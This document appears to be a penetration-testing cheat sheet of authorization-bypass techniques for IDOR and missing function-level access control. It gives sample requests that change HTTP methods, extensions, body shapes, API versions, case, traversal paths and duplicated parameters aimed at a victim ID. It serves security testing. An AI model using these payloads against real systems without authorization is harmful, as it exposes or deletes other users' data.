Insecure Direct Object Reference (IDOR)

Change HTTP method

GET /users/delete/123 -> 403
POST /users/delete/123 -> 200

Change file extension

Try to change the extension of the endpoint that you have.

#Endpoint found
/users/password -> 401

#Endpoints to test
/users/password.json
/users/password.xml

Convert request body

Convert the body of the request to array or to include a json on it.

#Original body
{"id":1}

#Bypasses
{"id":[1]}
{"id":{"id":1}}

Test wildcards

Change the identifier of the request to a wildcard.

#Original request
/api/v1/userlist/user1

#Wildcard bypasses
/api/v1/userlist/*

Check another version

Many API endpoints expose the version in the request, try to change it to use another older.

#Original request
/api/v3/user/user3

#Changed version of the same endpoint
/api/v2/user/user3
/api/v1/user/user3

Missing Function Level Access Control (MFLAC)

GET /admin/profile -> 401
GET /ADMIN/profile -> 200

Path Traversal Secondary Context

#Original request
POST /users/delete/123 -> 403

#Bypass
POST /users/delete/MY_ID/../123 -> 200

HTTP Parameter Pollution

GET /api/v1/messages?user_id=ATACKER_ID&user_id=VICTIM_ID
GET /api/v1/messages?user_id=VICTIM_ID&user_id=ATACKER_ID

References

Autorizeportswigger.net

Burp Suite extension aimed at helping the penetration tester to detect authorization vulnerabilities

AutoRepeaterportswigger.net

Burp Suite extension that automatically repeats requests, with replacement rules and response diffing